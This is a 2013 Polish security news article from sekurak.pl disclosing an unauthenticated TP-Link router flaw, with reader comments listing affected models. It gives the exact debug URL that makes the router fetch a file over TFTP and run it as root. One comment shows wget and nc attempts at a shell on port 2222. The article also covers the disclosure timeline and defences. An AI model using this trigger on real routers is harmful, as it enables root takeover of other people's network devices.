Nowa dziura na urządzeniach TP-Link

12 marca 2013, 08:41 | Aktualności | komentarzy 60
: zin o bezpieczeństwie - pobierz w pdf/epub/mobi.

tp-logoO urządzeniu

TP-Link TL-WDR4300 to router klasy SOHO. Umożliwia m.in. dwuzakresową pracę w trybie WiFi, posiada 2 porty USB i jeszcze kilka innych przydatnych funkcjonalności. Poza tym… umożliwia zdalne i nieuwierzytelnione uzyskanie uprawnień administracyjnych (root) w systemie operacyjnym, na którym działa urządzenie.

Przypominamy że publikowane tutaj informacje o lukach służą tylko celom edukacyjnym. Nie odpowiadamy również za ewentualne uszkodzenie urządzenia w wyniku wykorzystania luki.

1. Testowany firmware

W trakcie testów na urządzeniu TL-WDR4300 używałem najnowszego firmware’u z 25.12.2012r. Na tym firmware nie działa odkryty w 2012r. backdoor w TP-Linkach, opisany tutaj.

Jak się też okazuje, na opisywany dalej błąd podatne są również inne modele. Zachęcamy do sprawdzenia i zgłaszania do nas swoich podatnych TP-Linków – zgodnie z instrukcją poniżej.

Aktualizacja: więcej informacji o kulisach tej podatności można zobaczyć tutaj.
firmware

firmware TL-WDR4300

2. Proof of Concept

3. Czy jestem podatny?

Aby sprawdzić czy nasze urządzenie jest podatne, należy w przeglądarce użyć URL-a (nie wymagane jest podawanie użytkownika/hasła):

http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html

W tym momencie urządzenie na chwilę przestanie odpowiadać, a następnie pojawi się komunikat w przeglądarce:

start_art

Jeśli widzimy komunikat tego typu (może to być również inne sformułowanie zawierające słowo „art”, np.: „Art download failed” – patrz niżej), to takie urządzenie jest najprawdopodobniej podatne na atak.

W międzyczasie router spróbuje pobrać z naszego komputera (poprzez tftp) plik nart.out, a następnie uruchomi go z uprawnieniami root.

Pobieranie możemy prześledzić np. z wykorzystaniem narzędzia wireshark uruchomionego na komputerze. W tym celu wybieramy opcję Capture -> Interfaces, a następnie interface sieciowy, którym jesteśmy podłączeniu do routera. Po uruchomieniu nasłuchu możemy jeszcze przefiltrować ruch, korzystając z filtra: tftp and !icmp:

wireshark_tmp

Filtr w wireshark

Samą próbę pobrania pliku widać na poniższym zrzucie ekranowym:

wireshark

Pobieranie nart.out przez router – protokołem tftp

Poniżej, cała procedura krok po kroku (krok pierwszy realizujemy z przeglądarki, pozostałe kroki przebiegają automatycznie):

tp-link-diag

Proof of concept – krok po kroku

Inne modele

Również inne modele routerów są podatne. Poniżej prezentuję dwa kolejne urządzenia, które udało mi się przetestować. Czytelników zachęcamy do testów (oczywiście swoich routerów) i przesyłania do nas kolejnych wyników.

1. TL-WR743ND v1.2

Na przykładzie poniżej widać, że tym razem nazwa pliku to nie nart.out, a mdk_client.out – jednak zasada działania jest podobna (poniżej jako PoC wykonanie polecenia ping na routerze).

wireshark

tplink_2_1

tplink_2_2

2. TL-WR743ND v2

art

wireshark

3. TL-WR740N (info by: rf)

4. WR740N v4 (info by Morris)

Jak się obronić?

Niestety na dziś (12.03.2013r.) nie ma dostępnych aktualizacji firmware, zalecamy przede wszystkim nieudostępnianie interface’u webowego routerów do Internetu.

Dobrym pomysłem jest zainstalowanie na urządzeniu nieoficjalnego firmware-u  (np. Open-WRT – model TL-WDR4300 jest wspierany), choć wymaga to większej wiedzy oraz przy braku odpowiedniej ostrożności przy wgrywaniu firmware-u istnieje możliwość trwałego uszkodzenia sprzętu.

Historia zgłoszenia błędu

12.02.2013 – przesłana informacja do TP-Link … brak odpowiedzi
22.02.2013 – kolejne przesłanie informacji do TP-Link … brak odpowiedzi
12.03.2013 – publikacja szczegółów na sekurak.pl

Więcej informacji

http://sekurak.pl/luka-w-tp-linkach-wiecej-szczegolow/

Podziękowania

  • dostarczenie sprzętu do testów – WDR4300 – Mateusz Olejarka :]
  • rf – zgłoszenie TL-WR740N jako podatnego
  • Morris – zgłoszenie WR740N v4 jako podatnego

Michał Sajdak <michal.sajdak<at>securitum.pl>

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. bl4de

    Jeden PoC jest więcej wart niż tysiąc tutoriali :)

    Odpowiedz
    • :) Posiadaczy TP-Linków prosimy też o pomoc w skompletowaniu listy podatnych modeli -> podsyłanie wyników ze swoich urządzeń.

      –ms

      Odpowiedz
  2. rf

    TL-WR740N zachowuje się tak samo jak TL-WR743ND v1.2 – ściąga przez TFTP najpierw art_modules/art_ap9x.ko, a potem mdk_client.out.

    Odpowiedz
    • Dzięki – zrobiłem update + wrzuciłem do greetzów :)
      A miałbyś chwilę żeby sprawdzić trick ze skryptem shellowym + pingiem? – jest to pokazane na screenach w „innych modelach” – tylko wymaga postawienia swojego serwera tftp.


      ms

      Odpowiedz
  3. Odpowiedz
  4. Morris

    –2013-03-12 14:46:34– http://192.168.0.5/userRpmNatDebugRpm26525557/start_art.html
    Connecting to 192.168.0.5:80… connected.
    HTTP request sent, awaiting response… 200 OK
    Length: unspecified [text/html]
    Saving to: start_art.html'

    0K 19.7M=0s

    2013-03-12 14:47:26 (19.7 MB/s) - start_art.html’ saved [426]

    Firmware Version:
    3.12.11 Build 110915 Rel.40896n
    Hardware Version:
    WR740N v4 00000000

    Odpowiedz
  5. GabbaMan

    Ja tylko dodam, że też zgłaszałem pewien problem z routerem swoim do TP-Link i jedyne co przyszło to mail zwrotny z automatu informujący, że zgłoszenie zostało przyjęte. No i do dziś brak odpowiedzi. Standardzik.

    Odpowiedz
  6. mantis

    WR340G v3 0815311C
    4.7.11 Build 101102 Rel.60376n

    Nie działa.

    Odpowiedz
  7. xxx

    WR1043ND nie pojawil sie zaden komunikat, ale router przestal odpowiadac i musialem dac reset.

    Odpowiedz
  8. Xamxe

    TD-W8970 v1 00000000
    Firmware Version: 0.6.0 1.2 v000c.0 Build 130201 Rel.54921n

    Nie działa

    Odpowiedz
  9. Tequilos

    Firmware Version:
    3.12.5 Build 100929 Rel.57776n
    Hardware Version:
    WR841N v6/v7 00000000
    Po wpisaniu linka router zwiesza sie

    Odpowiedz
  10. Leo

    TL-WR1043ND w wersji
    3.13.12 Build 120405 Rel.33996n również jest podatny. Wykonałem test z TFTP, pobierany i wykonywany jest mdk_client.out.

    Odpowiedz
  11. Goscinny

    TP-Link WR941N
    Firmware Version: 3.13.9 Build 120201 Rel.54965n

    Art successfully started

    Odpowiedz
  12. m

    Czy to działa również z portu wanowego czy tylko lokalnego?

    Odpowiedz
  13. A.K.

    Router TL-WR841N v6/v7 00000000 firmware 3.13.9 Build 120201 Rel.54965n po wklejeniu linku do przeglądarki po chwili wyskakuje komunikat:
    Ups! Przeglądarka Google Chrome nie mogła się połączyć ze stroną 192.168.0.5

    Odpowiedz
  14. Wojtek

    Access Point TP-LINK TL-WA901ND, najnowsze oficjalne firmware w wersji: 3.12.16 Build 120224 Rel.61005n
    Podatny:
    Art successfully started

    Odpowiedz
  15. Marek

    Za takie funkcjonalności (bo to nie jest błąd w programie) ktoś powinien stracić głowę. Na szczęście OpenWRT jest u mnie o niebo bardziej stabilne niż oryginalny firmware.

    Odpowiedz
  16. krikras

    Hej, wygląda na to, że router TP-LINK WR340G nie jest podatny. A może się mylę? Po wpisaniu wspomnianego polecenia dostaję ten komunikat

    Server Error: 401 N/A
    Operating System Error Nr:3997698: HTM
    Access denied
    /userRpm/index.htm

    Jest to właściwa reakcja routera, czy oznacza podatność? Dzięki.

    Odpowiedz
    • Raczej ten model nie jest podatny na tego buga.

      Odpowiedz
  17. Adam

    Router WR741N v1/v2 00000000 wyświetlił komunikat „Art successfully started”.

    Odpowiedz
  18. Pszemo

    740N nie jest „do końca”podatny. Nie wyświetla się nic na temat Art, jedynie zawiesza się urządzenie (hardreset konieczny kabelkiem). Oprogramowanie 3.12.11 Build 110915 Rel.40896n
    Hard WR740N v4 00000000

    Odpowiedz
  19. doranak

    Piszecie backdoor – czy to oznacza, że ten bug to feature, który ma umożliwiać „wtajemniczonym” szpiegowanie użytkowników?

    Odpowiedz
    • Nie wiadomo – może to zapomniana funkcja debug. Może też być zapomniana „przez przypadek”.

      Odpowiedz
  20. piotrek

    Potwierdzam u mnie też działa
    TL-WR1043ND
    3.13.4 Build 110429
    art_modules/art_ap8x.ko

    Odpowiedz
  21. Moyshe

    Może mi ktoś wytłumaczyć w jaki sposób pobranie pliku pozwala na uzyskanie roota na komputerze?
    1) Czy z logów Wiresharka mam rozumieć, że źródłem pliku jest ruter a celem komputer i plik nart.out tak naprawdę jest wysyłany na komputer i tam uruchamiany z uprawnieniem roota? I czego dowodzi ten PoC?
    2) Czy w takim razie scenariusz ataku jest taki, że gościu ze świata wysyła żądanie do rutera, ruter wysyła do mnie plik i plik uruchamiany jest jako root?
    3) Ponadto, czy nieudostępnianie interfejsu rutera na zewnątrz w jakikolwiek sposób blokuje ten ‚feature’? Przecież nie mamy wpływu na działanie usługi TFTP na ruterze.

    Odpowiedz
    • W zasadzie wszystko jest na diagramie w poście.

      1) Źródłem jest komputer który się dobija do routera – np. atakujący który hostuje u siebie nart.out, plik wykonuje router. Plik jest odpalany na routerze z uprawnieniami root.
      2) Prawie tak – plik jest wysyłany od atakującego do routera (router pobiera go przez tftp)
      3) Nieudostępnianie http admina na zewnątrz blokuje ten ficzer. Nie jest on blokowany w LAN.

      Odpowiedz
  22. Ania

    Potwierdzam, u mnie także działa
    TL-WR740N, dodatkowo test wyłączył mi wifi…

    Odpowiedz
    • Tak – jeśli ktoś chce testować – to najlepiej na połączeniu kablem. W razie problemów z WiFi polecam reset (wyłączenie / włączenie zasilania routera).

      Odpowiedz
  23. Jan

    TD-W8960N 1.4.0 Build 111108 Rel.40398n

    nie podatny na atak

    Odpowiedz
  24. Moyshe

    Dzięki za wyjaśnienie. Nie wiedzieć czemu zrozumiałem, że roota uzyskuje się na komputerze połączonym do sieci, a nie na ruterze. Przez to się zamotałem. Teraz wszystko jest już jasne;)

    Odpowiedz
  25. kri

    Cześć sekurak. Dzięki za odpowiedź, ale zastanawia mnie Twoje stwierdzenie: „Raczej ten model nie jest podatny na tego buga.” Właściwie chodzi mi o „Raczej…”. ;-)

    Odpowiedz
    • kri: Jednak te modele „z zawieszaniem się WiFi” do restartu są najprawdopodobniej podatne. Proponuję zrobić taki sam test – tylko na kablu.

      Odpowiedz
  26. Charvel

    TL-WDR3600 – powinien być podatny – ma praktycznie taki sam soft jak WDR4300.

    Odpowiedz
  27. kri

    @sekurak: oczywiście ten test wykonany został, tylko „na kablu”. Od jakiegoś czasu, nie korzystam z WiFi, więc wszystkie opcje (oczywiście, odnoszące się do WiFi) są kompletnie wyłączone. Mam nadzieję, że nie ma, to wpływu na wynik testu. Pozdrawiam.

    Odpowiedz
  28. manveru

    WAP TL-WA701N v1
    FW: 3.12.16 Build 120228 Rel.37317n

    próbuje pobrac najpierw art_modules/art_ap9x.ko, potem mdk_client.out

    Odpowiedz
  29. PP

    Router TL-WR1043ND, firmware version: 3.12.2 Build 100820 Rel.41891n, hardware version: WR1043N v1 00000000
    Odpowiedz – Art successfully started + zawieszenie routera (chyba problem z DNS) :(
    Pobierania pliku nie sprawdzalem.

    Odpowiedz
  30. Bart

    Firmware Version:
    3.13.4 Build 110429 Rel.36959n
    Hardware Version:
    WR1043ND v1 00000000

    Podatne urzadzenie

    Odpowiedz
  31. mr3420 v2
    3.13.27 Build 120905 Rel.73281n

    – zawiesza się.

    Odpowiedz
    • Proponuję przetestować jeszcze na kablu.

      Odpowiedz
  32. piotrek

    Dostałem odpowiedź od Wsparcia technicznego TP-Link
    „Witam

    Nie byliśmy świadomi tej podatności, zostanie ona usunięta w nowszej wersji oprogramowania.

    Odpowiedz
  33. viki

    300M Wireless N Router
    Model No. TL-WR941N / TL-WR941ND

    Firmware Version:
    3.12.4 Build 100910 Rel.57694n
    Hardware Version:
    WR740N v1/v2 00000000

    działa na obydwu

    Odpowiedz
  34. cezet

    Test na kablu dla:
    Firmware Version: 3.13.12 Build 120405 Rel.33996n
    Hardware Version: WR1043ND v1 00000000

    Wifi sie wywala, plik pobiera, ale po udanym wgecie nc nie bangla na porcie 2222

    login as: cezet
    cezet@192.168.1.103‚s password:
    Last login: Tue Mar 19 21:07:37 2013 from 192.168.1.100
    [cezet@localhost ~]$ ifconfig
    lo: flags=73 mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10
    loop txqueuelen 0 (Local Loopback)
    RX packets 45 bytes 3828 (3.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 45 bytes 3828 (3.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    p2p1: flags=4163 mtu 1500
    inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::219:bbff:fed4:7210 prefixlen 64 scopeid 0x20
    ether 00:19:bb:d4:72:10 txqueuelen 1000 (Ethernet)
    RX packets 4078 bytes 418025 (408.2 KiB)
    RX errors 0 dropped 1 overruns 0 frame 0
    TX packets 1218 bytes 147001 (143.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    wlan0: flags=4163 mtu 1500
    inet 192.168.1.101 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::92f6:52ff:fee1:7da prefixlen 64 scopeid 0x20
    ether 90:f6:52:e1:07:da txqueuelen 1000 (Ethernet)
    RX packets 2314 bytes 344322 (336.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 55 bytes 7362 (7.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    [cezet@localhost ~]$ nc 192.168.1.1 2222
    Ncat: Connection refused.
    [cezet@localhost ~]$ wget http://192.168.1.1/userRpmNatDebugRpm26525557/start_art.html
    –2013-03-19 21:49:23– http://192.168.1.1/userRpmNatDebugRpm26525557/start_art.html
    Connecting to 192.168.1.1:80… connected.
    HTTP request sent, awaiting response… 200 OK
    Length: unspecified [text/html]
    Saving to: âstart_art.htmlâ

    [ ] 426 –.-K/s in 0s

    2013-03-19 21:50:16 (7.74 MB/s) – âstart_art.htmlâ saved [426]

    [cezet@localhost ~]$ nc 192.168.1.1 2222
    Ncat: Connection refused.
    [cezet@localhost ~]$ ifconfig
    lo: flags=73 mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10
    loop txqueuelen 0 (Local Loopback)
    RX packets 45 bytes 3828 (3.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 45 bytes 3828 (3.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    p2p1: flags=4163 mtu 1500
    inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::219:bbff:fed4:7210 prefixlen 64 scopeid 0x20
    ether 00:19:bb:d4:72:10 txqueuelen 1000 (Ethernet)
    RX packets 4581 bytes 469983 (458.9 KiB)
    RX errors 0 dropped 1 overruns 0 frame 0
    TX packets 1367 bytes 164060 (160.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    wlan0: flags=4099 mtu 1500
    inet6 fe80::92f6:52ff:fee1:7da prefixlen 64 scopeid 0x20
    ether 90:f6:52:e1:07:da txqueuelen 1000 (Ethernet)
    RX packets 2602 bytes 384832 (375.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 55 bytes 7362 (7.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

    [cezet@localhost ~]$

    Odpowiedz
    • @cezet: OK, ale żeby ten port 2222 był odpalony to trzeba mieć odpowiednio przygotowanego nart.out (i hostowanego lokalnie via tftp) – tj binarkę skompilowaną na MIPS.
      Można za to popróbować testy ze skryptem shellowym w tym nart.out (jak na screenie wyżej – tylko w innym modelu).

      Zapraszam na Sekurak Hacking Party – będzie tam można poznać wszystkie niuanse ;)

      Odpowiedz
  35. cezet

    oczywsice tftp tez przechodzi:

    638 108.617329000 192.168.1.1 192.168.1.106 TFTP 65 Read Request, File: mdk_client.out, Transfer type: octet

    Odpowiedz
  36. Przemek

    Firmware Version:
    3.13.10 Build 120210 Rel.62735n
    Hardware Version:
    WR1043ND v1 00000000

    Podatny

    Odpowiedz
  37. Bezpieka
    Odpowiedz
  38. Krzyzak
    Odpowiedz
  39. landisl

    Firmware Version:
    3.13.31 Build 130319 Rel.57876n
    Hardware Version:
    WDR4300 v1 00000000
    No i chyba poprawili po update’cie pojawia się informacja o błednym loginie lub haśle.

    Odpowiedz
  40. pawel

    ja mam router WR-941ND i taki napis mi wyskoczył, nie od razu, raczej strona długo sie ładowała, ale w końcu pojawił sie… dostałem odp, że ustosunkowali sie do zgłoszenia i wydali łatkę, ale nie na wszystkie routery jak widać. Bo na ten mój nie ma…

    Odpowiedz
  41. hgugh

    sprawdzilem livebox tp nie podatny

    Odpowiedz
  42. Jasper

    ART tool is an old wireless testing script from Atheros (chipset manufacturer), all the router vendors with Atheros must use it to calibrate the wireless chip in the factory, it is not a man-made “backdoor” and will not be controlled by TP-LINK or anyone remotely.

    Some competitors of TP-LINK took the chance to made some shocking rumors to the media, and most common users were misled by these rumors.

    TP-LINK has released some new firmwares on their official website, I believe they already abandoned the ART testing script and fixed all the vulnerabilities.

    http://www.tp-link.com/en/support/download/?model=TL-WDR4300&version=V1

    Odpowiedz
  43. Koloa

    I w końcu TL-WR743ND V2 załatany w firmware TL-WR743ND_V2_130411_ BETA ( 3.16.5 Build 130411 Rel.41359n)

    Odpowiedz
  44. Wojtek

    jak uruchomić konsole co jest na fotach w win7( czy jest to jakiś cmd po wpisaniu paru poleceń albo jakaś konsola linuxa lub backtracka?)?

    Odpowiedz
    • To jest jest autorski research, nie ma raczej do tego gotowca ;)

      Na fotach jest wireshark.

      Odpowiedz
  45. Jurek
    Odpowiedz
    • Raczej nie. Choć warto zrobić test z wiresharkiem.

      Odpowiedz
  46. Marcin

    W TP Link TL-WDR4300 V1 po wgraniu FW TL-WDR4300_V1_130617 z 17.06.2013 jest komunikat

    Username or Password is incorrect.
    Please refer to the troubleshooting below:

    Is the „Caps Lock” enabled on your keyboard?
    The username and password must be lowercase, please ensure that the „Caps Lock” LED is disabled on your keyboard and try again.

    Forgot your username or password?
    Please reset the device to the factory default settings if you have forgotten your username or password. The default username and password are both set as „admin”.
    Note: The settings will be restored to factory default after the resetting.

    How to restore the device to the factory default settings?
    Firstly locate the reset button on the rear panel of the unit, whilst the device is powered on press and hold the reset button for more than 5 seconds, the device will then reboot and restore itself to the factory default settings.

    Domniemam że w tej wersji FW „dziura” została załatana.

    Odpowiedz

Odpowiedz